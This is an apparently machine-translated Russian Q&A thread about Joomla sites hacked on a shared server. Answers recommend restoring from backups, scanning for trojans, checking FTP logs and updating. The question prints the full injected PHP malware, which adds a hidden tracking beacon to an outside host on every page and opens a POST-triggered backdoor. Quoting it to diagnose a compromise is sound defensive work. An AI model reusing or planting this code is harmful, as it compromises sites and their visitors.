Назад | Перейти на главную страницу

Как узнать, кто взломал мой сайт

Возможный дубликат:
Мой сервер был взломан в АВАРИИ

Всем Joomla! сайты, размещенные на одном моем сервере, были взломаны, и в файлы index.php во многих каталогах был внедрен следующий код.

    <?php
//{{126104ed

GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;

$olderrxxx=error_reporting(0);

function outputxxx_callback($str)
{
  $links = '<SPAN STYLE="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="af4dae82ae67843a194c001162"><img width=0 height=0 src="http://airschk.com/countbk.gif?id=4dae82ae67843a194c001162&p=1&a=%91P%BC%BCQ%F7%20%7C6%BE%0A8%F52%9C%F5nT%82%8A%C8V%27%A1%1E%85%1B%16%DBh%F2%A3U%10%9Dh%9C%FF%B6t%0F%B2%E9%18"></div></SPAN>';
  preg_match("|</body>|si",$str,$arr);
  return str_replace($arr[0],$links.$arr[0],$str);
}

function StrToNum($Str, $Check, $Magic)
{
   $Int32Unit = 4294967296;
   $length = strlen($Str);
   for ($i = 0; $i < $length; $i++) {
       $Check *= $Magic;
       if ($Check >= $Int32Unit) {
           $Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
           $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
       }
       $Check += ord($Str{$i});
   }
   return $Check;
}
function HashURL($String)
{
   $Check1 = StrToNum($String, 0x1505, 0x21);
   $Check2 = StrToNum($String, 0, 0x1003F);

   $Check1 >>= 2;
   $Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
   $Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
   $Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);

   $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
   $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );

   return ($T1 | $T2);
}

function CheckHash($Hashnum)
{
   $CheckByte = 0;
   $Flag = 0;

   $HashStr = sprintf('%u', $Hashnum) ;
   $length = strlen($HashStr);

   for ($i = $length-1; $i >= 0;  $i--) {
       $Re = $HashStr{$i};
       if (1 === ($Flag % 2)) {
           $Re += $Re;
           $Re = (int)($Re / 10) + ($Re % 10);
       }
       $CheckByte += $Re;
       $Flag ++;
   }

   $CheckByte %= 10;
   if (0 !== $CheckByte) {
       $CheckByte = 10 - $CheckByte;
       if (1 === ($Flag % 2) ) {
           if (1 === ($CheckByte % 2)) {
               $CheckByte += 9;
           }
           $CheckByte >>= 1;
       }
   }

   return '7'.$CheckByte.$HashStr;
}

function getpr($url)
{
   $ch = CheckHash(HashURL($url));
   $file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
   $data = file_get_contents($file);
   $pos = strpos($data, "Rank_");
   if($pos === false){return -1;} else{
       $pr=substr($data, $pos + 9);
       $pr=trim($pr);
       $pr=str_replace("
",'',$pr);
       return $pr;
   }
}

if(isset($_POST['xxxprch']))
{
    echo getpr($_POST['xxxprch']);
    exit();
}
else
  ob_start('outputxxx_callback');

error_reporting($olderrxxx);
}

//}}861921ab

Насколько я знал и согласно всей документации, моя Joomla! сайты были в безопасности. Однако все они на одном сервере были взломаны одновременно. Виноваты хозяева?

Кто-нибудь знает, с чего мне начать убирать этот беспорядок? Какие-нибудь быстрые решения, кроме резервного копирования моего сайта?

И самый большой вопрос, который у меня есть, - как лучше всего отследить хакера до его / ее сайта, сервера или местоположения? Я действительно хочу показать им свою признательность за их работу.

«Насколько мне известно и согласно всей документации, мои сайты на Joomla! Были безопасными».

Это утверждение - ваша первая проблема. Если вы погуглите по запросу "joomla hacked", только за последний месяц вы получите 280 000 результатов ...

Что касается восстановления, я бы не стал доверять чему-либо, кроме восстановления из заведомо хорошей резервной копии. Эти правки - только те, которые вы нашли. Кто знает, что еще можно было туда вложить.

Чтобы отследить их, вы можете начать с чтения этого: http://kb.siteground.com/article/Joomla_hacked.html

Короче говоря, ваши шансы близки к нулю. Однако они повышаются на несколько процентных пунктов, если у вас большие карманы или государственная поддержка.

Я предполагаю, что они получили пароль от вашего сервера с помощью трояна. Проверьте свой компьютер как можно скорее, особенно если вы храните пароли серверов в любой программе (браузере, ftp-клиентах, Total Commander и т. Д.) Кстати: я предполагаю, что вы используете Windows

Насчет розыска хакера будет непросто. Сначала проверьте журналы доступа с того момента, когда это произошло. Вы, вероятно, увидите там множество ftp-активности. Посмотрите IP-адреса этих журналов. Если все они разные, то он, вероятно, использует зомби-компьютеры, и маловероятно, что вы до него доберетесь. Если они все одинаковые, возможно, вам повезет немного больше.

Во всяком случае, это похоже на автоматическую атаку. Выполните поиск, чтобы проверить, был ли введен такой же код на другие сайты (не на вашем сервере).

Вы не предоставляете нам достаточно информации, чтобы мы могли объяснить, как это было, почти наверняка это была автоматическая атака, и попытка ее отследить просто напрасно потратит ваше время.

Быстрого выхода из этого нет. Ядерная бомба с орбиты и восстановление из заведомо исправной резервной копии - единственный выход.

Здесь есть объяснение:

http://sucuri.net/malware/malware-entry-mwbackdoor23

Кажется, что это бэкдор, а img src просто используется для уведомления злоумышленников о том, что бэкдор существует ...

Обязательно обновляйте Joomla! Следите за обновлениями безопасности и устанавливайте их на всех сайтах, на которых они выпускаются.